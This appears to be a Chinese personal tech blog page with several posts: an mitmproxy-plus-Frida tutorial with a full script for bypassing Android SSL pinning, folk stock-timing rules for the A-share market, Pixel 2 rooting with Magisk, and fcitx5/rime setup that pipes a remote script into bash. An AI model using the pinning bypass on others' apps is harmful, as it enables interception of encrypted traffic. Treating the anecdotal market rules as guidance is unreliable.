需要在客户端代码内置仅接受指定域名的证书,而不接受操作系统或浏览器内置的CA根证书对应的任何证书,通过这种授权方式,保障了APP与服务端通信的唯一性和安全性,因此客户端与服务端(例如API网关)之间的通信是可以保证绝对安全。但是CA签发证书都存在有效期问题,缺点是在证书续期后需要将证书重新内置到APP中。

公钥锁定

提取证书中的公钥并内置到客户端中,通过与服务器对比公钥值来验证连接的正确性。制作证书密钥时,公钥在证书的续期前后都可以保持不变(即密钥对不变),所以可以避免证书有效期问题,一般推荐这种做法。

(此小节内容摘抄自互联网)

总体思路

使用 mitmproxy https://github.com/mitmproxy/mitmproxy 进行抓包,使用 frida 绕过 SSL pinning, frida 的安装和使用这里就不再详述了,可以参考其他资料。

安装 mitmproxy

参考 https://docs.mitmproxy.org/stable/overview-installation/ 文档

可以直接下载 Linux binary: https://snapshots.mitmproxy.org/7.0.2/mitmproxy-7.0.2-linux.tar.gz, 或者使用 pip 进行安装 https://pypi.org/project/mitmproxy/
执行命令 ~/.local/bin/pip3 install mitmproxy --user

安装成功之后,有三个程序可以使用: mitmproxymitmdumpmitmweb

设置代理

在主机上执行下面几行命令设置代理

1
2
3
mitmweb -p 8080
adb shell settings put global http_proxy 127.0.0.1:8888
adb reverse tcp:8888 tcp:8080

mitmweb -p 8080 在本机起 8080 代理,在 Android 上设置 http 全局代理 127.0.0.1:8888, 最后将 Android 的 8888 端口转发到本机 8080 端口

设置 CA

https://docs.mitmproxy.org/stable/concepts-certificates/

1
The first time mitmproxy is run, it creates the keys for a certificate authority (CA) in the config directory (~/.mitmproxy by default).
Filename Contents
mitmproxy-ca.pem The certificate and the private key in PEM format.
mitmproxy-ca-cert.pem The certificate in PEM format. Use this to distribute on most non-Windows platforms.
mitmproxy-ca-cert.p12 The certificate in PKCS12 format. For use on Windows.
mitmproxy-ca-cert.cer Same file as .pem, but with an extension expected by some Android devices.

我们是 Android 应该使用 mitmproxy-ca-cert.cer,在 Android 系统安装的话,需要点击 设置 -〉安全 -〉 加密与凭证 -〉安装证书 -〉CA 证书

使用 frida 绕过 SSL pinning

使用 frida 脚本首先需要将 mitmproxy-ca-cert.cer 上传到 /data/local/tmp/cert-der.crt

使用脚本 https://codeshare.frida.re/@pcipolloni/universal-android-ssl-pinning-bypass-with-frida/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
/*
Android SSL Re-pinning frida script v0.2 030417-pier

$ adb push burpca-cert-der.crt /data/local/tmp/cert-der.crt
$ frida -U -f it.app.mobile -l frida-android-repinning.js --no-pause

https://techblog.mediaservice.net/2017/07/universal-android-ssl-pinning-bypass-with-frida/

UPDATE 20191605: Fixed undeclared var. Thanks to @oleavr and @ehsanpc9999 !
*/

setTimeout(function(){
Java.perform(function (){
console.log("");
console.log("[.] Cert Pinning Bypass/Re-Pinning");

var CertificateFactory = Java.use("java.security.cert.CertificateFactory");
var FileInputStream = Java.use("java.io.FileInputStream");
var BufferedInputStream = Java.use("java.io.BufferedInputStream");
var X509Certificate = Java.use("java.security.cert.X509Certificate");
var KeyStore = Java.use("java.security.KeyStore");
var TrustManagerFactory = Java.use("javax.net.ssl.TrustManagerFactory");
var SSLContext = Java.use("javax.net.ssl.SSLContext");

// Load CAs from an InputStream
console.log("[+] Loading our CA...")
var cf = CertificateFactory.getInstance("X.509");

try {
var fileInputStream = FileInputStream.$new("/data/local/tmp/cert-der.crt");
}
catch(err) {
console.log("[o] " + err);
}

var bufferedInputStream = BufferedInputStream.$new(fileInputStream);
var ca = cf.generateCertificate(bufferedInputStream);
bufferedInputStream.close();

var certInfo = Java.cast(ca, X509Certificate);
console.log("[o] Our CA Info: " + certInfo.getSubjectDN());

// Create a KeyStore containing our trusted CAs
console.log("[+] Creating a KeyStore for our CA...");
var keyStoreType = KeyStore.getDefaultType();
var keyStore = KeyStore.getInstance(keyStoreType);
keyStore.load(null, null);
keyStore.setCertificateEntry("ca", ca);

// Create a TrustManager that trusts the CAs in our KeyStore
console.log("[+] Creating a TrustManager that trusts the CA in our KeyStore...");
var tmfAlgorithm = TrustManagerFactory.getDefaultAlgorithm();
var tmf = TrustManagerFactory.getInstance(tmfAlgorithm);
tmf.init(keyStore);
console.log("[+] Our TrustManager is ready...");

console.log("[+] Hijacking SSLContext methods now...")
console.log("[-] Waiting for the app to invoke SSLContext.init()...")

SSLContext.init.overload("[Ljavax.net.ssl.KeyManager;", "[Ljavax.net.ssl.TrustManager;", "java.security.SecureRandom").implementation = function(a,b,c) {
console.log("[o] App invoked javax.net.ssl.SSLContext.init...");
SSLContext.init.overload("[Ljavax.net.ssl.KeyManager;", "[Ljavax.net.ssl.TrustManager;", "java.security.SecureRandom").call(this, a, tmf.getTrustManagers(), c);
console.log("[+] SSLContext initialized with our custom TrustManager!");
}
});
},0);

执行下面命令,绕过 SSL pinning

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
frida -U --codeshare pcipolloni/universal-android-ssl-pinning-bypass-with-frida -F

____
/ _ | Frida 14.2.18 - A world-class dynamic instrumentation toolkit
| (_| |
> _ | Commands:
/_/ |_| help -> Displays the help system
. . . . object? -> Display information about 'object'
. . . . exit/quit -> Exit
. . . .
. . . . More info at https://frida.re/docs/home/

[.] Cert Pinning Bypass/Re-Pinning
[+] Loading our CA...
[o] Our CA Info: O=mitmproxy, CN=mitmproxy
[+] Creating a KeyStore for our CA...
[+] Creating a TrustManager that trusts the CA in our KeyStore...
[+] Our TrustManager is ready...
[+] Hijacking SSLContext methods now...
[-] Waiting for the app to invoke SSLContext.init()...
[Pixel 2::智能生活]-> exit

其中 -F 参数 attach to frontmost application 不用指定 pid 或者包名,非常方便。

使用 mitmweb 查看报文

执行 mitmweb -p 8080 后可以用浏览器访问 http://127.0.0.1:8081/ 查看报文,如果需要共享报文数据可以使用
mitmweb 界面提供的 save 功能,会保存成一个 flow 文件,后面使用 mitmweb 界面提供的 open 打开报文文件即可展示报文详细信息。

参考资料

https://shunix.com/ssl-pinning/

沉浮 A股多年,发现一个比较重要的规律,A 股变盘的时间节点大多发生在重大节假日期间,分别举例如下:

  • 「1」重大节日 (包括阳历和农历: 劳动节,国庆节,中秋节,端午节,过年 等)
  • 「2」周一/周五
  • 「3」月初/月末

有人总结出 A 股变盘时间节点和农历的 24 节气相关,每个节气的时间间隔大致在 15 到 16 天左右,这条规律
其实和上面的 「1」 说法是一致的。

思考其背后的原因,平时交易日都是连续的中间无间断,大家的交易思路和看法也比较容易连续一致。
每逢重大节日,或者月初月末,往往都是放假休息的时间,外加期间各种信息的输入量比平时大很多,这样容易有思维波动。重大节日后,主力一带节奏,容易对大家的思维进行强化,分歧转一致后,就真的变盘了。

A股还有个月初,月末效应,月初赚钱,月末亏钱,比较奇怪,可能和基金经理的月初建仓和月末考核相关,这条规律几乎是对称的,如果月末没有大跌,月初基本就没有大赚效应。

后面发现居然有一个股票技术分析流派叫季节派。(季节理论 Season Theory)

afl-fuzz 的整体架构,新手理解起来还是比较费劲,网络上发现一张图觉得不错,放上来大家看看,感谢原作者。

afl-fuzz

要正常使用 frida 首先需要把手机给 root 了, 在最近测试的情况发现 Android 10 和 Android 11 系统工作比较正常, Android 6
和其他系统似乎差一些?

要刷机首先需要下载 adb 等工具,这些工具由 Android 的 SDK platform tools 提供,下载地址为:https://developer.android.com/studio/releases/platform-tools
选择相应的操作系统版本下载即可, Google 提供了 Windows、Linux、Mac 等系统的支持。

基础镜像可以选择的 Google 的官方镜像 Factory Image,如果能自己编译 Android 系统则更好,在调试的时候可以看到系统库的符号。

我的 Android 手机为 Pixel 2 在 https://developers.google.com/android/images#walleye 上可以查找相应的镜像, 下个最新的 https://dl.google.com/dl/android/aosp/walleye-rp1a.201005.004.a1-factory-0c23f6cf.zip

要想刷镜像前提条件是先要解锁 bootloader, Pixel2 新手机解锁的命令和以前有变化,可以参考 https://source.android.com/devices/bootloader/locking_unlocking

1
2
adb reboot bootloader
fastboot flashing unlock_critical

下载解压后,里面有个 flash-all 的脚本,将手机重启到 fastboot 模式后可以直接运行, adb reboot bootloader, 重启到 fastboot 模式后,执行 flash-all 脚本,刷机系统镜像就完成了。

以前 root Android 用的都是 SuperSU 和 TWRP, 这次使用了一个不同的方法 Magisk , 安装的方法参见:
https://topjohnwu.github.io/Magisk/install.html

有两种模式, patch boot 或者 patch recovery, 安装 Magisk app 后如果界面显示 Ramdisk:Yes,则需要 patch boot。
Magisk app 的下载地址 https://github.com/topjohnwu/Magisk/releases/download/v23.0/Magisk-v23.0.apk

安装 Magisk app 后, 选择需要 patch 的镜像文件,选择后会自动生成新的修改过后的镜像文件。
获得修改后的镜像文件后,需要将修改后的镜像文件重新刷一次

1
fastboot flash boot /path/to/magisk_patched.img #or fastboot flash recovery /path/to/magisk_patched.img

刷完新的修改后的镜像,重启系统,Root 就完成了。

现在 fcitx 已经升级到了 fcitx5, 本来用着 fcitx4 挺好,也没有想着升级,在折腾 fcitx.vim 的时候发现 fcitx 居然升级了,
使得我的 vim 插件无法正常工作了,一顿折腾,本来以为很简单没想到进了个大坑 。
主要是不愿意放弃我的一万多行的 rime 用户词库,多年的积累了,不过 Linux 用户不就是老折腾吗, 唉。

fcitx5-rime 的默认的配置目录已经变为 ~/.local/share/fcitx5/rime, fcitx4 默认的配置目录是 ~/.config/fcitx/rime

安装 fcitx5 和 fcitx5 rime

1
2
sudo dnf install -y fcitx5 fcitx5-autostart fcitx5-chinese-addons fcitx5-configtool fcitx5-gtk fcitx5-qt
sudo dnf install -y fcitx5-rime

Fedora dnf 已经默认有 fcitx5-rime 的安装包了,不用自己重新编译了,非常不错。 fcitx5-chinese-addons
为 fcitx5 自己默认带的中文输入法,这些和 rime 没有什么关系,网络上有人说, fcitx 的中文输入较以前有较大改进。
fcitx5-autostart 用于自启动。后面发现系统自带的启动环境变量好像设置的有问题,不安装其实也没有什么问题,
自己手动执行 fcitx5 -d 即可。

设置正确的环境变量

修改 ~/.xprofile~/.zshrc/etc/profile 等文件

1
2
3
export GTK_IM_MODULE=fcitx5
export QT_IM_MODULE=fcitx5
export XMODIFIERS="@im=fcitx5"

编译 fcitx5-qt5

为了使我们自己编译的 vnote 可以正常使用 fcitx5, 需要编译 fcitx5-qt,新版的代码需要安装依赖 qt5-qtbase-private-devel 要不会出现 Parse error at “IID” 的错误。

sudo dnf install qt5-qtbase-private-devel.x86_64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
git clone git@github.com:fcitx/fcitx5-qt.git

cat << EOF > build_linux.sh
QTDIR="/home/henices/Qt5.12.9/5.12.9/gcc_64/"
PATH="$QTDIR/bin:$PATH"
LDFLAGS=-L$QTDIR/lib
CPPFLAGS=-I$QTDIR/include

rm -rf build
mkdir -p build
cd build
cmake ..
make -j8
EOF

bash build_linux.sh

编译完成后将生成的 so 文件 copy 到 qt 的插件目录:

1
2
cd build
cp ./qt5/platforminputcontext/libfcitx5platforminputcontextplugin.so /home/henices/Qt5.12.9/5.12.9/gcc_64/plugins/platforminputcontexts/

配置中文环境

1
2
3
4
sudo vim /etc/locale.conf

export LANG="zh_CN.UTF-8"
export LC_CTYPE="zh_CN.UTF-8"

安装 rime 词库

rime 现在已经使用 plum 管理词库,如果需要安装双拼输入法的,可以执行下面的命令:

1
2
curl -fsSL https://git.io/rime-install | bash
rime_frontend=fcitx5-rime bash rime-install double_pinyin

rime 为了保证输入速度,词库很小,为了能够自动显示更多的词组,就需要使用拓展词库。

1
2
git clone https://github.com/rime-aca/dictionaries.git
cp dictionaries/luna_pinyin.dict/* ~/.local/share/fcitx5/rime/

安装了上面的拓展词库后,输入特殊符号的能力还是比较弱,需要把 symbols.yaml 也给加进来。

https://github.com/rime/rime-prelude 提供了我们所需要的 symbols.yaml 和 default.yaml,
可以使用 東風破 安裝: rime_frontend=fcitx5-rime bash rime-install prelude

由于我们使用的是自然码双拼,需要修改的文件为 double_pinyin.custom.yaml

1
2
3
4
5
patch:
# 載入朙月拼音擴充詞庫
"translator/dictionary": luna_pinyin.extended
"punctuator/import_preset": symbols
"recognizer/patterns/punct": "^/([A-Z|a-z]*|[0-9]|10)$"

设置完成后,要重新启动输入法,比如要输入 ☆ ,输入 /xh 即可

将用户词库导入 rime

rime_dict_manager -i luna_pinyin luna_pinyin.userdb.txt

这一步很关键啊,多年的积累不能浪费了。

配置 fcitx5 皮肤

fcitx5 默认的皮肤不太好看,所以下载更新了皮肤,这款简约风格的皮肤非常符合老夫的胃口。

1
2
git clone https://github.com/thep0y/fcitx5-themes.git
cp spring ~/.local/share/fcitx5/themes -r

修改配置文件 ~/.config/fcitx5/conf/classicui.conf

1
2
3
4
5
6
7
8
9
10
11
# 垂直候选列表
Vertical Candidate List=False

# 按屏幕 DPI 使用
PerScreenDPI=True

# Font (设置成你喜欢的字体)
Font="Smartisan Compact CNS 13"

# 主题(这里要改成你想要使用的主题名,主题名就在下面)
Theme=spring

另外还有一款 fcitx5 皮肤相对流行:https://github.com/hosxy/Fcitx5-Material-Color

切换皮肤的方法是,点击鼠标右键点击 配置 -> 附加组件 -> 经典用户界面 -> 点击右边图标 -> 选择皮肤

设置 fcitx rime 单行模式

如果要将输入法设置为单行模式,需要修改配置文件 ~/.config/fcitx5/conf/rime.conf

1
PreeditInApplication=True

或者按快捷键 ctrl + alt + p, 这个快捷键可以来回切换很方便,单行还是双行就因人而异了,我个人觉得单行好点。

让 fcitx5 正确显示菜单

要做这个步骤是因为 rime 有 「部署」、「同步」这几个操作按钮,如果不正确配置的话在 fcitx5 上没法正常显示。
fcitx5 在任务上有个托盘图标,点击右键就可以看到这些菜单。

要让 fcitx 正确显示菜单,关键在于让 rime 输入法默认处于激活状态,根据 fcitx5 配置的提示第一个输入法为非激活状态。

  • (1) 将第一个输入法设置为 键盘-英语 (美国),第二个输入法设置为 中州韵
  • (2) 在全局设置中,勾上默认状态为激活,共享输入状态设置为 程序

fcitx.vim

这个章节是写给 linux vim 用户看的,没有此需求的可以直接跳过这段。

vim 确实是程序编辑的利器,但是在用vim 写中文文档的时候,有一个痛点,你在用 fcitx 写中文的时候想保存文档,
vim 必须切换到 normal 模式才能输入保存的命令 :w,进入normal 模式的方法是连续按两下 ESC,好了现在你应该
输入命令了,但是你没法输入你现在还在打中文呢,没有办法你必须先切换到英文输入法,然后才能正确地输入 :w 痛苦啊。

fcitx.vim 就是为解决这个痛点而生的插件,个人觉得这是vim 必装的几个插件之一。fcitx.vim 的github 仓库
地址为:https://github.com/lilydjwg/fcitx.vim

值得一提的是这个仓库有两个分支,fcitx4 分支 和 fcitx5 分支,使用的时候一定要分清楚,这两个分支如果
使用错了,就没法正常使用 fcitx.vim 插件了。fcitx4 和 fcitx5 dbus 对象名字有变化,导致代码通用性不好。
现在默认分支为 fcitx5,如果你使用 fcitx4 可能直接 git clone 下来就会发现插件用不了,我也是因为这个
原因才发现 fcitx 居然更新了。

后记

可能有些人不知道为什么要折腾 rime,rime 的用户词库文件是个宝贝,这个词库是都是你真实的在日常使用中用到的词库,小巧又实用还能到处同步,上传到云后永不丢失,符合自己的数据自己掌握的硬道理。至于国内的那些输入法,我就不加以评价了,在这商业的社会要保持基本的做人底线不易。

参考资料

0%